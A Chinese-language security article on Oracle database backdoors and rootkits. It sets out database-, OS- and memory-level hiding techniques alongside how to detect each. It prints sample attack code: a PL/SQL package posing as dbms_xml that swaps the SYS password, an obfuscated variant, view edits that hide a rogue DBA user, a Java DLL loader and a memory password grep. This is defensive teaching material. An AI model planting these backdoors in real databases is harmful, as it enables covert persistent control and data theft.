1. 程式人生 > >Oracle安全攻防,你可能不知道自己一直在裸奔

Oracle安全攻防,你可能不知道自己一直在裸奔

作者介紹

劉思成,安華金和安全攻防實驗室。

主題簡介:

  • Backdoor(後門)、Rootkit、Vulnerability分別在攻擊中扮演的角色。
  • 攻擊者可能使用的Oracle Rootkit技術種類。
  • 綜述資料庫漏掃工具現階段能識別的Rootkit型別,提出使其識別更多rootkit型別的建議。

    一、Vulnerability 、Backdoor、Rootkit

一場策劃有序的入侵行動中,黑客組織常常會找到網站、作業系統、系統軟體上的Vulnerability(弱點),有針對性地開展一系列組合攻擊,最終達到控制資料庫或作業系統的目的。

如果是政府或財團支援的黑客組織可能不會急於盜取資料庫中的敏感資訊進行變現,而選擇在目標資料庫中進行長期潛伏。一方面等待敏感資訊價值和數量的增長,另一方面可以摸清整個網路、系統的防護架構和審計能力。防止在盜取敏感資料時,留下特徵和證據,以免被對方發現。

這樣的一起黑客入侵事件可還原為以下流程圖:

黑客第一次潛入會使用各種0 day Vulnerability,但對於定期更新補丁的目標系統,一些0 day Vulnerability將會失去作用。為了能夠持續發起對資料庫的攻擊,黑客會在第一次入侵成功後,在資料庫中安插Backdoor(後門)。Backdoor成為黑客組織持續入侵資料庫的關鍵。

Backdoor本身有多種形式,有可能是DBA賬號、儲存過程、函式、檢視等,但Backdoor本身可能被一些專業的資料庫掃描軟體所發現。為了把Backdoor的痕跡抹掉,出現了一種技術——Rootkit。Rootkit好比是Backdoor的隱身衣,躲過掃描工具的檢測。

在入侵過程中,黑客通過Vulnerability成功入侵目標系統內部,奪取資料庫許可權。Backdoor負責為黑客後續的攻擊行為提供一扇任意門。Rootkit則負責把這道任意門變為隱形模式。Vulnerability、Backdoor和Rootkit三者聯合是高階滲透攻擊的慣用手段。解決安全問題不光要解決Vulnerability的問題(按時打補丁即可),更重要的是解決Backdoor和Rootkit的存在。能否識破Rootkit的存在,將是資料庫掃描類安全產品的核心競爭力之一。

二、Oracle Rootkit詳解

Oracle Rootkit詳解

按照Rootkit技術水平可以分成裸奔自救技術、資料庫級Rootkit技術、作業系統級Rootkit技術和記憶體級Rootkit技術。

1、裸奔自救技術

採用這種技術手段的使用者普遍對資料庫沒有很深入的理解,Backdoor的存在比較容易被發現。

這些儲存過程多是由SYSDBA使用者建立,大部分具有建立DBA使用者或對某些特定表執行操作的功能,並且必然會呼叫某些高危的謂詞或對高危表、檢視進行操作。如下例:黑客可以通過傳輸unlock和lock對SYS使用者進行密碼修改,從而短暫獲得SYS使用者的使用許可權。通過unlock 把SYS改成指定密碼,同時也會儲存原來的密碼,方便以後進行還原。使用後,再通過lock把SYS的密碼改回去,並刪除過程中產生的表及表資訊,抹除痕跡。

下面是上述過程的還原:

。。。。。。。。。。

CREATE OR REPLACE PACKAGE BODY dbms_xml AS

PROCEDURE parse (string IN VARCHAR2) IS

var1 VARCHAR2 (100);

BEGIN

IF string = ‘unlock’ THEN

SELECT PASSWORD INTO var1 FROM sys.user$ WHERE name = ‘SYS’; –11開始需要從sys.user中拿到密碼dba_users已經沒密碼了做過測試拿不出來

EXECUTE IMMEDIATE ‘create table syspa1 (col1 varchar2(100))’;

EXECUTE IMMEDIATE ‘insert into syspa1 values (”’||var1||”’)’;

COMMIT;

EXECUTE IMMEDIATE ‘ALTER USER SYS IDENTIFIED BY hack11hack’;

END IF;

IF string = ‘lock’ THEN

EXECUTE IMMEDIATE ‘SELECT col1 FROM syspa1 WHERE ROWNUM=1’ INTO var1;

EXECUTE IMMEDIATE ‘ALTER USER SYS IDENTIFIED BY VALUES ”’||var1||””;

EXECUTE IMMEDIATE ‘DROP TABLE syspa1’;

END IF;

。。。。。。

這種Backdoor如果固化成工具包,名稱都不會改變,只要在sys.dba_procedures中查詢對應的包名就很容易抓出來。如果不是已知Backdoor,在sys.source$中查詢某些可能被黑客利用的語法結構也能排查出Backdoor。例如查詢ALTER USER這個關鍵許可權,則可以發現dbms_xml中包含了ALTER USER。開啟dbms_xml進行簡單檢查就會發現其中的問題。

上殼

上面的Backdoor實在裸奔得厲害,於是黑客會考慮對Backdoor進行“加殼“(加密)。關於如何加殼有這樣2種思路,一是自己寫個函式對真正執行的函式加密,即手工加密,另一種是利用資料庫提供的加密函式進行加密。

手工加密通常依託於Oracle的字串置換和加密函式(TRANSLATE)。下圖中使用的是TRANSLATE,這個函式負責進行字串轉換。轉換後,單純對sys.source$進行特定語法查詢是無法查出這個Backdoor的。如下圖示例:

。。。。。。

FUNCTION conv (input IN VARCHAR2)

RETURN VARCHAR2

IS

x   VARCHAR2 (300);

BEGIN

x :=

TRANSLATE (input,

‘ZYXWVUTSRQPOMNLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0987654321 ‘,

‘1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ’

);

RETURN x;

EXCEPTION

WHEN OTHERS

THEN

RETURN NULL;

END conv;

。。。。。。

。。。。。。

EXECUTE IMMEDIATE conv (‘7kdkm6Z0o773a8lZj8acZwqw.uwKx$Z3hk8kZBOCKZ=Z”717”’)INTO var1;

EXECUTE IMMEDIATE conv (‘NxKOvKZvOMDKZwqwzOYZ(NADYZtOxNHOxX(YPP))’);

EXECUTE IMMEDIATE conv (‘GBwKxvZGBvAZwqwzOYZtODuKwZ(”’) || var1 || ”’)’;

COMMIT;

。。。。。。

經過加殼處理後SELECT PASSWORD FROM sys.user$ WHERE name = ‘SYS’變成了7kdkm6Z0o773a8lZj8acZwqw.uwKx$Z3hk8kZBOCKZ=Z”717。這種方式主要為了防止通過關鍵高危欄位檢測出Backdoor。雖然通過檢查高危謂詞或高危語句無法檢查出,但Oracle已有的置換字串函式或加密函式的總數量是有限的。針對這種使用置換字串或加密函式的儲存過程和函式進行查詢,順藤摸瓜可以很快可以找到Backdoor所在。

由於考慮到可能被資料庫掃描軟體捕獲的可能,很多黑客傾向採用Oracle自帶的,對整個儲存過程進行加密的warp技術。Oracle能內部識別warp加密的內容,且不提供解密函式進行解密。黑客甚至會特別說明這是一個系統自帶包,以此混淆管理員的判斷,但事實上,已經有相當一部分安全廠商完全掌握了warp技術的加解密原理,並且在安全產品中加入了warp還原的能力。真正具備warp還原能力的安全產品,會在warp解密後,立即檢測出Backdoor的“尾巴”。

2、資料庫級Rootkit技術

資料庫級的Rootkit技術,在主流資料庫Backdoor手段中採用最為廣泛,因為其更便於實施,且行為足夠隱蔽,具有資料庫許可權即可完成所有Rootkit。

Rootkit的整體思路分為兩種:

  • 第一種是改變訪問路徑:通俗說就是你以為你訪問的是A,其實你訪問的是B。
  • 第二種思路是隱藏Backdoor:由於大部分安全產品進行檢查都在檢視層,而檢視層有很多可隱藏Backdoor的手段。我們使用一組DBA使用者進行舉例說明,黑客A奪取SYSDBA許可權後,建立DBA使用者hacker/hacker。並使用RootKit技術使hacker這個使用者無法被查出。非法DBA使用者hacker/hacker就是這個Backdoor。

(1)換路徑

換路徑的思路相對比較老,主要在Oracle 9i中可以使用。手段是利用synonym建立同名檢視,例如:想查詢有哪些使用者,安全產品通常使用Select username from dba_users這樣的語句;很容易發現hacker使用者。但如果查詢到的是我們自己創造的假dba_users,那隱蔽hacker使用者就很簡單了。

如何能使用者訪問到假的dba_users?這和Oracle 在找目標時的順序密切相關。Oracle會先在當前使用者下尋找是否有,如果沒有就去private Synonyms中尋找,再找不到才會去public Synonyms中尋找。黑客會利用Creating or modify a public synonym pointing to a different object,把自己定義的檢視別名成SYS.dba_user來欺騙查詢的安全產品。

換路徑

(2)修改檢視

修改檢視的思路是根據換路徑的思路延展開來,但使用面最廣泛,Oracle全版本通用。既然要做假檢視,改路徑,還不如直接對檢視本身動手。

下圖是all_users的檢視內容:

create or replace view all_users

(username, user_id, created)

as

select u.name, u.user#, u.ctime

from sys.user$ u, sys.ts$ dts, sys.ts$ tts

where u.datats# = dts.ts#

and u.tempts# = tts.ts#

and u.type# = 1;

comment on table ALL_USERS is ‘Information about all users of the database’;

comment on column ALL_USERS.USERNAME is ‘Name of the user’;

comment on column ALL_USERS.USER_ID is ‘ID number of the user’;

comment on column ALL_USERS.CREATED is ‘User creation date’;

圖中標紅的地方是這個檢視的條件判定,如果我們在這個條件中再加一條and u.name !=”HACKER”,再重建這個檢視通過Select * from all_users;就再也無法查詢出HACKER使用者了。類似的情況不單獨發生在檢視all_users上,類似的還有常用來查詢的dba_users、v$session,、gv_$session、flow_sessions、v_$process、dba_jobs等,這些都可以通過這種方式隱藏掉非法使用者以及非法使用者建立的各種檢視、函式等。

在這種方式的基礎上隨著對檢視內容的深入理解,還可以通過不滿足檢視中的判斷條件,來使用目標隱身。

例如在ALL_users中列出的使用者需要滿足sys.user$.datats = sys.ts$.ts#。如果我們讓這個等式不成立那hacker也就不會被顯示出來。DATATS#中的數值一般在0-4之間,使用update語句對hacker使用者進行調整,把他的DATATS#改到1337,不在0-4的範圍內。這樣sys.user$.datats = sys.ts$.ts#的等式無法成立,就查詢不到hacker。下圖中紅線的部分很明顯的顯示雖然hacker已經查詢不到,但依舊可以用hacker進行登入。

3、作業系統級Rootkit技術

作業系統級Rootkit技術,額外需要作業系統許可權。許可權至少是Oracle使用者的許可權。思路主要可以分成三類:

  • 替換檔案:利用某些關鍵操作前的檔案替換操作後的檔案,實現只有在基表層有記錄的目的。
  • 修改二進位制檔案:這個主要是修改Oracle檔案的某些判定邏輯。
  • 構建呼叫方式,呼叫外部動態庫:Oracle資料庫支援多種語言,通過這些語言直接在資料庫中構建呼叫本地作業系統中的動態庫。這些動態庫中有需要使用的Backdoor。

(1)替換檔案

替換檔案的思路是用某些操作前的檔案覆蓋操作後的檔案。使得操作只有部分生效,從而達到隱藏Backdoor的目的。其中比較常見的是Oracle home/dbs/下orapworcl檔案的替換。我們還是使用hacker/hacker的例子。

假如我們建立了DBA使用者hacker。後把檔案orapworcl備份下來,接著用drop user hacker cascade;對使用者hacker進行徹底刪除。刪除後再把備份的orapworcl重新拷回替換新生成的orapworcl。這時候在SYS.USER$層驗證會發現hacker已經消失了。但如果使用hacker/hacker還是可以以DBA身份登陸到資料庫中。

這種方式雖然可以逃過SYS.USER$層的驗證,但如果查詢基表x$kzsrt還是可以發現hacker使用者的行蹤。

替換檔案

可以看到刪除hacker使用者後,把orapworcl拷貝回去hacker依舊可以登陸。SYS.user$中得記錄被清除,但追到最終得基表x$kzsrt 發現其實hacker還在。有效的隱藏了hacker的存在。

(2)二進位制檔案

二進位制檔案的思路主要是兩種:

第一種的本質是通過改變路徑,使訪問者訪問到錯誤的目標。另一種是改變二進位制中的判斷條件,隱藏Backdoor,這可以看作是資料庫級Rootkit的升級版。

第一種方式中,在Oracle檔案中查詢sys.user$,可以發現如下語句:

二進位制檔案

如果我們把作為查詢目標的sys.user$,改成我們自己建立的SYS.aser$,我們就可以掌控呈現何種查詢結果。

在Oracle檔案中找到sys.user$,替換成我們的SYS.aser$。這樣,使用者以為查詢的是sys.user$,但實際上查詢的是SYS.aser$,即可實現隱藏Backdoor的目的。

除了改路徑外,還可能出現改變查詢的條件語句。我們回到Oracle中檢視,會發現如下程式碼:

程式碼

上圖中可以看到關鍵語句:

select inst_id,username,decode(sysdba,1,’TRUE’,’FALSE’), decode(sysoper,1,’TRUE’,’FALSE’) from x$kzsrt where valid=1  and username != ‘INTERNAL’

同樣把這句改成:

select inst_id,username,decode(sysdba,1,’TRUE’,’FALSE’), decode(sysoper,1,’TRUE’,’FALSE’) from x$kzsrt where username not in(‘INTERNAL’,’HACKER’)。

就可以達到隱藏hacker使用者的目的。

通過修改二進位制隱藏Backdoor,只從資料庫層去檢查是無法發現問題的。必須對作業系統中的Oracle檔案進行前後hash比對才能發現問題。二進位制檔案的方式雖然隱蔽,但最大的問題是,需要做Oracle檔案的替換。如果想要替換Oracle檔案就必須把整個資料庫停掉。在實際操作中需要大量的內部資訊,才能有更大勝算。

(3)呼叫方式

Oracle支援多種語言來寫儲存過程,並不只限於SQL語句。為了躲避檢查,很多有問題的儲存過程會通過其它語言編寫。大部分語句都支援呼叫本地某個動態庫。如果把Backdoor封裝成一個動態庫,則可以通過呼叫的方式把Backdoor載入入記憶體中,呼叫執行。例如下面的Java後門就可以達到上述效果。

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED “JAVALOADLIB” as

import java.lang.*;

import java.io.*;

public class JAVALOADLIB

{

public static void LoadLibrary(string theLibrary) throws IOException

{

System.load(theLibrary);

}

};

/

CREATE OR REPLACE PROCEDURE JAVALOADLIBPROC (p_command IN VARCHAR2)

AS LANGUAGE JAVA

NAME ‘JAVALOADLIB.LoadLibrary(java.lang.String)’;

/

EXEC JAVALOADLIBPROC(‘/Oracle/Oracle/product/11.2.0/db_1/ide/lib/hacker.dll’);

由於上述過程只是載入動態庫,所以很可能DBA自己寫的程式碼中也有類似邏輯,無法在資料庫中武斷的認為存在Backdoor或被Backdoor所用。這種方式只能通過對hacker.dll的檢查進行查詢。

4、記憶體級Rootkit技術

記憶體級Rootkit技術,主要方式就是把Backdoor隱藏於記憶體之中。隱藏於記憶體之中資料庫本身基本是無法檢查的,必須和作業系統共同合作。這種方式是4種Rootkit技術中最難被發現的,但同樣也受記憶體的限制,一旦重啟會直接被清空,需要再次植入。根據Oracle的特性,針對Oracle的記憶體級Rootkit技術主要可以分為三個大類:

  • SGA區的門道;
  • oradebug的門道;
  • 記憶體的門道。
  • (1)SGA區的門道

  • SGA區是資料庫的記憶體共享區域,在SGA中資料會自動駐留一段時間或人為駐留。這種駐留給Backdoor隱藏帶來了可能性。下面示例:我們首先建立一個DBA使用者hacker,然後把它藏在記憶體中。

SGA

刪除SYS.user$中hacker的記錄,只會刪除資料庫中的hacker,而無法刪除SGA中的hacker。無論是查詢檢視DBA_users還是基表x$kzsrt,都無法發現hacker的蹤影。但hacker還是在以DBA許可權正常訪問資料庫。

除去這種自動的在SGA區中駐留的方式外,還可以把儲存過程或函式直接手動強行放入SGA區中。使用這種方式不會因為SGA區中資料庫的交換,而被剔除。比起上面的方法更加穩定。這源於Oracle提供的dbms_shared_pool.keep。dbms_shared_pool.keep本意是幫助資料庫在SGA區中固定某些包,是為了提高工作效率而設計的。而黑客可以利用該函式,把目標包存入資料庫中,躲避安全掃描類軟體的檢查。

(2)Oradebug的門道

racle自帶一個給Oracle支援人員追蹤Oracle深層問題的工具-Oradebug。Oradebug可以對SGA記憶體中的資料庫進行修改。正是這個特點,可以直接對記憶體中的關鍵引數進行修改。這裡我們用Oradebug修改審計引數為例:原來審計引數是被關閉,現在直接通過Oradebug開啟。把目標引數從0改成1即可。

Oradebug

很多變數的引數可以通過類似的方式,在記憶體中直接定位,然後用Oradebug修改成需要的值。

(3)記憶體的門道

這個部分需要作業系統的root許可權。角度有兩種,一種是在記憶體中發現需要的值(9i版本獨有)。另一種則是在記憶體中修改特定的值(10g的一種漏洞)。簡單說這種方式就是在記憶體中找到需要修改的關鍵點進行修改。

例如我們在記憶體中找sysawr的情況:

strings  /dev/shm/* | grep ‘password’ | less

….

m user$ where user#=:1

by sysawr password expire account lock

)change_password_on_first_use in (‘Y’,’N’)1

…..

當然不僅僅是找到關鍵點後進行修改。還可以利用某些漏洞對特定的部分進行整體編碼修改,改成黑客掌握的密碼。記憶體中的Backdoor隱蔽性最高,但操作中會有諸多限制,使用並不廣泛。

5、小結

上述四種Rootkit技術中,只針對資料庫的Backdoor多采用裸奔自救技術或資料庫級Rootkit技術。由於這兩種技術不像作業系統級Rootkit技術需要比較高的作業系統許可權。拿到作業系統許可權不會只留下資料庫Backdoor,同時作業系統級的Rootkit的檢查工作需要針對作業系統的掃描軟體輔助。

記憶體級Rootkit是這四類中最難以被發現的,同時操作難度也是相對最複雜的,很多同樣需要作業系統許可權。最大的問題是記憶體類的Rootkit在重啟資料庫後,會被清空。這和Backdoor需要穩定且長期存在的目的不相符,所以難以廣泛使用。

裸奔自救技術或資料庫級Rootkit技術,易於實施,需要的許可權只侷限在資料庫中,同時又能提供一定的強度的隱藏Backdoor效果,屬於實戰中最常用的技巧。除去上文中提到的針對各種Rootkit技術的破解方法。還可以通過對Oracle中的表、儲存過程、函式、檢視、許可權、Java原始碼等定期做hash計算,驗證目標是否發生變化,如果發生變化很可能存在被惡意改寫,或修改的行為,那麼很可能已經被植入Backdoor。

文章來自微信公眾號:DBAplus社群